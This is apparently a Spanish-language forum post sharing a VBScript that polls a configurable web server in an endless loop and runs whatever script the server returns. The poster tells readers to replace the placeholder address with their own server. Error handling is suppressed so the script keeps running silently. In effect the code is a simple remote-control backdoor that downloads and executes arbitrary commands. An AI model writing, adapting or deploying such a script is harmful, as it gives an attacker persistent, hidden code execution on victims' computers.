la ubicacion del script debe cambiarse en http://127.0.0.1/?l= por http:/direccion/?l=
Código
Function anticache() ' al parecer usa la cache de internet explorer , de esta forma hago se actualize anticache=day(date())&Month(Date())&Year(date())&Hour(time())&Minute(Time())&Second(Time()) &Rnd ' en una sola cadena mete el dia,mes,año,hora,minuto,segundos y un numero aleatorio End Function Function supertest() ' esta funcion descarga el script dim resultado,magik,daryo set magik=CreateObject("MSXML2.XMLHTTP") magik.open "GET" , "http://127.0.0.1/?l=" & anticache ,false magik.send supertest = magik.ResponseText End Function dim prueba1,prueba2,x ' pude usar un array pero asi tambien funciona xD x=1 while true if x= 1 Then prueba1=supertest ' descarga el contenido de la web , que debe ser un script en vbs y lo mete en la variable prueba1 x=0 else prueba2=supertest x=1 End If if not(prueba1 = prueba2) then ' esto determina si el comando ha cambiado desde la ultima vez que lo ejecuto On ERROR Resume Next Execute(supertest) ' ejecuta la cadena supertest End IF Wscript.sleep 700 ' no quiero sobrecargar el servidor wend